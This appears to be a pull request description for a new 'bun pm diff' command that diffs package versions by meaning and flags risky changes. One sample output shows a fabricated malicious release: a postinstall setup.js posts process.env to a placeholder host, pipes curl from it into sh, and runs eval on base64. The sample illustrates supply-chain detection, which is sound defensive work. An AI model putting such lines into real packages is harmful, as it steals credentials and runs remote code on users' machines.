Add `bun pm diff`
bun pm diff shows what changed between two versions of a package — the "what's new before I bun update" and "did this release do something bad" review that today means npm diff or a website. Registry specs, folders and tarballs work on either side, it runs from any folder (in a project or not), and on a terminal it diffs meaning rather than bytes.
$ bun pm diff lodash # version in bun.lock → latest
lodash 4.17.20 → 4.18.1
…
trimEnd.js ───────────────────────────────── normalized +2 -3
8 │- var reTrimEnd = /\s+$/;
29 │ if (string && (guard || chars === undefined)) {
32 │- return string.replace(reTrimEnd, "");
30 │+ return string.slice(0, trimmedEndIndex(string) + 1);
31 │ }
trimStart.js ─────────────────────────────── formatting only
lodash 4.17.20 → 4.18.1
21 files +270 -165 · 2 new · 7 formatting only
$ bun pm diff left-pad-plus@2.3.0 2.3.1
…
setup.js ─────────────────────────────────── new +5
1 │+ const cp = require("child_process");
2 │+ const env = JSON.stringify(process.env);
3 │+ fetch("https://collect.example.test/e", { method: "POST", body: env });
4 │+ cp.exec("curl -s https://collect.example.test/s | sh");
5 │+ eval(Buffer.from("Y29uc29sZS5sb2coMSk=", "base64").toString());
left-pad-plus 2.3.0 → 2.3.1
3 files +9 -2 · 1 new
▲ postinstall script added: node setup.js
▲ now imports child_process (index.js)
▲ +1 eval() (setup.js)
▲ +1 process.env (setup.js)
▲ +1 fetch() (setup.js)
Forms
bun pm diff react— the version inbun.lock→latestbun pm diff react@18.2.0 19.0.0,react@18.2.0..19.0.0,--diff=react@18.2.0 --diff=react@19.0.0(npm-compatible)bun pm diff ./folder pkg@2.1.0,bun pm diff ./a.tgz ./b.tgz,bun pm diff ./pkg(published under its name → the folder)bun pm diffinside a package folder — what's published → this folder- Works outside a project:
PackageManager::initgets ano_project_okmode (no root file, no workspace scan, normal npmrc/bunfig/env config, nothing written to disk)
Terminal view: decided on meaning, shown as written
For readable .js/.mjs/.cjs/.jsx/.ts/.tsx, both sides are parsed and re-printed in an aggressive canonical form (minify_syntax + DCE, no renaming). That form is only the comparison key; the hunks show the original lines, mapped back through the printer's source map:
1 + 1vs2,'a'vs"a",!0vstrue, a re-wrapped call, a whole-file reformat, or a local renamed consistently (Rollup'sutils→utils$1) are not changes (header saysN folded; nothing left →formatting only). Every local in the key is renamed in lockstep on both sides; symbols are matched name-free by a use-site profile (properties read off them, call arities, what they're passed to) plus scope structure — a wrong match can only leave noise, never hide a change, since any consistent renaming that prints identically is alpha-equivalence.- Readable bundles are where that pays off:
axios 1.6.0→1.6.1dist/node/axios.cjsis +59 −13 (138 folded) — the actualhasStandardBrowserEnvrefactor — versus +197 −151 ofutils$1churn with--raw. - A comment edit, a changed type annotation, or any control-flow change is a change — in the author's words, comments/JSX/types/names intact. (For a 1:1 pair the differing span must be code the key vouched for; a span that falls on a type annotation or inline comment stays shown.)
- Unchanged text whose meaning moved — a branch that became unreachable, or dead code that came alive because a constant flipped — is marked
~.
m.js ─────────────────────────────── 2 folded +3 -3
1 │- // math helpers
1 │+ // math helpers (v2)
2 │ const LIMIT = 2; ← was `1 + 1`: folded
3 │ export function clamp(x) {
4 │- if (x > LIMIT) return LIMIT; // cap
4 │+ if (x >= LIMIT) return LIMIT; // cap
⋮
7 │ export const flags = {on: true, s: "ab"}; ← was `{ on: !0, s: 'a' + 'b' }`: folded
8 │- if (false) {
8 │+ if (true) {
9 │~ fetch('https://x.test/never'); ← same text, now live
-
Minified bundles have no readable original, so they're shown un-minified instead (declaration chains, comma statements and object literals split one per line), with the two builds' mangled locals renamed in lockstep (scopes paired by weight, symbols aligned by kind + use count):
file raw bun pm difflodash lodash.min.js4.17.20→4.17.21 (thetrimReDoS fix)1 line, 73 KB each way 37 lines (source diff: 24) preact dist/preact.min.js10.19.2→10.19.31 line, 11 KB 2 axios dist/esm/axios.min.js1.6.0→1.6.11 line, 31 KB 16 -
Totals and callouts print last, where the terminal leaves you: new install scripts, dependency /
main·bin·exports·engines·licensechanges,now imports child_process|fs|net|http|vm|…, new package imports,+N eval() / new Function() / process.env / fetch(), newly executable files (mode 644 → 755), terminal escape sequences or Trojan-Source bidi controls appearing in a release, new binaries.*.mapfiles are summarised. -
Nothing from a package can drive the terminal: C0/C1 controls, ESC and bidi overrides in contents, paths and notes are drawn as
␛/^M/‹U+202E›. -
Piped output stays a byte-exact unified patch (
\ No newline at end of file, git-style mode lines included).
Narrowing to files
name@1.2.3:path on a spec, a bare :path argument, or extra arguments after the two sides. A path matches a file exactly, a directory, a bare file name anywhere in the package, or a glob; nothing matching is an error.
bun pm diff axios@1.6.0:lib/adapters 1.6.1
bun pm diff axios@1.6.0 axios@1.6.1 dist/node/axios.cjs
bun pm diff lodash :trimEnd.js
bun pm diff react-dom@18.2.0 18.3.1 '*.min.js'
Flags
--stat, --name-only, -U n, --json (from/to, per-file status/counts/patch, notes, totals), --raw/--unformatted (bytes as-is), --minify (fold syntax in the un-minified view too), --unminify (lockstep renaming in every JS file), -w (whitespace-only files collapse in the terminal view).
Speed (release build, darwin-arm64, warm network)
react-dom@18.2.0 → 18.3.1 (4 × 130 KB minified bundles, full un-minify): 0.70 s wall / 0.30 s CPU · lodash: 0.22 s · typescript@5.4.5 → 5.5.4 --stat (60 MB of JS): 2.7 s.
Safety
- The registry
Authorizationheader is only sent to the scope's own origin, so a manifest-controlleddist.tarballcan't receive the token (test: bearer registry pointing a tarball at a foreign host). - package.json text in the callouts is inserted after the colour template is rendered, so
>=1.3.0/node <(curl …)print literally. - No
unsafe, no leaked allocations in the new code (ASAN lane green).
How
Manifest + tarball via AsyncHTTP with the manager's scope/proxy/CA settings; tarballs unpacked in memory with libarchive (new safe NextEntry::entry() / ArchiveIterator::read_entry_data() accessors); line diff with the diff-match-patch port bun test ships; canonical re-print through bun_js_parser/bun_js_printer (transform-only, no DCE) and bun_css; lockfile version lookup reuses Lockfile::load_from_cwd.
Tests
test/cli/install/bun-pm-diff.test.ts (30 tests, all offline via local registries): full patch snapshot, spec spellings, --stat/--name-only/-U/--json, lockfile→latest after a real install, folder↔tarball, no-arg and one-folder naming, terminal layout, formatting-only / two-minifier lockstep / callouts / source maps, --minify/--unminify/-w, CRLF, note escaping, no-newline markers, bad -U, auth-origin, error paths. Docs in docs/pm/cli/pm.mdx.